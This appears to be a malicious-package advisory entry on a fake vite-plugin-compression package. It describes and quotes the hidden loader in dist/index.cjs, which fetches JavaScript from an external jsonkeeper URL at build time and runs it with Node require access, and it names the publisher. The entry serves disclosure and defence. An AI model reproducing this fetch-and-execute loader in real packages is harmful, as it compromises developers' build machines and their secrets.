GCVE-110-OSM-2026-1407

Executes attacker-controlled JavaScript from https://www.jsonkeeper.com/b/OTOAQ at Vite build time by calling initPlugin() at module load, constructing a Function with require access via new Function.constructor('require', payload)(require). Masquerades as the legitimate vite-plugin-compression package. dist/index.cjs appends initPlugin() after all legitimate compression code; it calls request({url:'https://www.jsonkeeper.com/b/OTOAQ', headers:{bearrtoken:'logo'}}) and on success executes new (Function.constructor)('require', JSON.parse(b).data)(require) — granting attacker code full Node.js require() access. Retry on failure. Three versions published in one day by milena.ostojic1956@gmail.com.